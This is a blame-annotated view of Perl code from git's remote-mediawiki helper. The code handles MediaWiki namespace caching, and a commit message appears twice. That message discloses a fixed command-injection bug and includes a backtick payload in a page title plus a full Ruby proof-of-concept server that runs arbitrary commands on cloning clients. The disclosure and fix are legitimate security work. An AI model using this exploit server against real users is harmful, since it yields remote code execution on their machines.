travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
return 1;
|
|
|
|
}
|
2012-06-27 11:10:18 +02:00
|
|
|
|
|
|
|
sub get_allowed_file_extensions {
|
2013-07-04 22:38:58 +02:00
|
|
|
$mediawiki = connect_maybe($mediawiki, $remotename, $url);
|
2012-06-27 11:10:18 +02:00
|
|
|
|
|
|
|
my $query = {
|
|
|
|
action => 'query',
|
|
|
|
meta => 'siteinfo',
|
|
|
|
siprop => 'fileextensions'
|
|
|
|
};
|
|
|
|
my $result = $mediawiki->api($query);
|
2013-06-14 15:50:14 +02:00
|
|
|
my @file_extensions = map { $_->{ext}} @{$result->{query}->{fileextensions}};
|
|
|
|
my %hashFile = map { $_ => 1 } @file_extensions;
|
2012-06-27 11:10:18 +02:00
|
|
|
|
|
|
|
return %hashFile;
|
|
|
|
}
|
2012-06-27 16:21:29 +02:00
|
|
|
|
2012-07-04 14:53:36 +02:00
|
|
|
# In memory cache for MediaWiki namespace ids.
|
|
|
|
my %namespace_id;
|
|
|
|
|
|
|
|
# Namespaces whose id is cached in the configuration file
|
|
|
|
# (to avoid duplicates)
|
|
|
|
my %cached_mw_namespace_id;
|
|
|
|
|
2012-06-27 16:21:29 +02:00
|
|
|
# Return MediaWiki id for a canonical namespace name.
|
|
|
|
# Ex.: "File", "Project".
|
|
|
|
sub get_mw_namespace_id {
|
2013-07-04 22:38:58 +02:00
|
|
|
$mediawiki = connect_maybe($mediawiki, $remotename, $url);
|
2012-06-27 16:21:29 +02:00
|
|
|
my $name = shift;
|
|
|
|
|
|
|
|
if (!exists $namespace_id{$name}) {
|
|
|
|
# Look at configuration file, if the record for that namespace is
|
2012-07-04 14:53:36 +02:00
|
|
|
# already cached. Namespaces are stored in form:
|
2012-06-27 16:21:29 +02:00
|
|
|
# "Name_of_namespace:Id_namespace", ex.: "File:6".
|
2013-06-14 15:50:30 +02:00
|
|
|
my @temp = split(/\n/,
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
run_git_quoted(["config", "--get-all", "remote.${remotename}.namespaceCache"]));
|
2012-06-27 16:21:29 +02:00
|
|
|
chomp(@temp);
|
|
|
|
foreach my $ns (@temp) {
|
2012-07-04 14:53:36 +02:00
|
|
|
my ($n, $id) = split(/:/, $ns);
|
2012-07-17 16:06:00 +02:00
|
|
|
if ($id eq 'notANameSpace') {
|
|
|
|
$namespace_id{$n} = {is_namespace => 0};
|
|
|
|
} else {
|
|
|
|
$namespace_id{$n} = {is_namespace => 1, id => $id};
|
|
|
|
}
|
2012-07-04 14:53:36 +02:00
|
|
|
$cached_mw_namespace_id{$n} = 1;
|
2012-06-27 16:21:29 +02:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
if (!exists $namespace_id{$name}) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Namespace ${name} not found in cache, querying the wiki ...\n";
|
2012-06-27 16:21:29 +02:00
|
|
|
# NS not found => get namespace id from MW and store it in
|
|
|
|
# configuration file.
|
|
|
|
my $query = {
|
|
|
|
action => 'query',
|
|
|
|
meta => 'siteinfo',
|
|
|
|
siprop => 'namespaces'
|
|
|
|
};
|
|
|
|
my $result = $mediawiki->api($query);
|
|
|
|
|
|
|
|
while (my ($id, $ns) = each(%{$result->{query}->{namespaces}})) {
|
2012-07-04 14:53:36 +02:00
|
|
|
if (defined($ns->{id}) && defined($ns->{canonical})) {
|
2012-07-17 16:06:00 +02:00
|
|
|
$namespace_id{$ns->{canonical}} = {is_namespace => 1, id => $ns->{id}};
|
2012-07-04 14:53:36 +02:00
|
|
|
if ($ns->{'*'}) {
|
|
|
|
# alias (e.g. french Fichier: as alias for canonical File:)
|
2012-07-17 16:06:00 +02:00
|
|
|
$namespace_id{$ns->{'*'}} = {is_namespace => 1, id => $ns->{id}};
|
2012-07-04 14:53:36 +02:00
|
|
|
}
|
|
|
|
}
|
2012-06-27 16:21:29 +02:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2012-07-17 16:06:00 +02:00
|
|
|
my $ns = $namespace_id{$name};
|
|
|
|
my $id;
|
2012-07-04 14:53:36 +02:00
|
|
|
|
2013-06-14 15:50:32 +02:00
|
|
|
if (!defined $ns) {
|
2017-11-07 17:06:57 +01:00
|
|
|
my @namespaces = map { s/ /_/g; $_; } sort keys %namespace_id;
|
|
|
|
print {*STDERR} "No such namespace ${name} on MediaWiki, known namespaces: @namespaces\n";
|
2012-07-17 16:06:00 +02:00
|
|
|
$ns = {is_namespace => 0};
|
|
|
|
$namespace_id{$name} = $ns;
|
|
|
|
}
|
|
|
|
|
|
|
|
if ($ns->{is_namespace}) {
|
|
|
|
$id = $ns->{id};
|
|
|
|
}
|
|
|
|
|
|
|
|
# Store "notANameSpace" as special value for inexisting namespaces
|
|
|
|
my $store_id = ($id || 'notANameSpace');
|
|
|
|
|
2013-11-12 16:17:45 +01:00
|
|
|
# Store explicitly requested namespaces on disk
|
2012-07-17 16:06:00 +02:00
|
|
|
if (!exists $cached_mw_namespace_id{$name}) {
|
remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.
1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens
Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:39:58 +02:00
|
|
|
run_git_quoted(["config", "--add", "remote.${remotename}.namespaceCache", "${name}:${store_id}"]);
|
2012-07-17 16:06:00 +02:00
|
|
|
$cached_mw_namespace_id{$name} = 1;
|
2012-06-27 16:21:29 +02:00
|
|
|
}
|
2012-07-17 16:06:00 +02:00
|
|
|
return $id;
|
2012-06-27 16:21:29 +02:00
|
|
|
}
|
2012-07-16 21:46:37 +02:00
|
|
|
|
|
|
|
sub get_mw_namespace_id_for_page {
|
2013-06-14 15:50:15 +02:00
|
|
|
my $namespace = shift;
|
|
|
|
if ($namespace =~ /^([^:]*):/) {
|
2012-07-16 21:46:37 +02:00
|
|
|
return get_mw_namespace_id($namespace);
|
|
|
|
} else {
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
}
|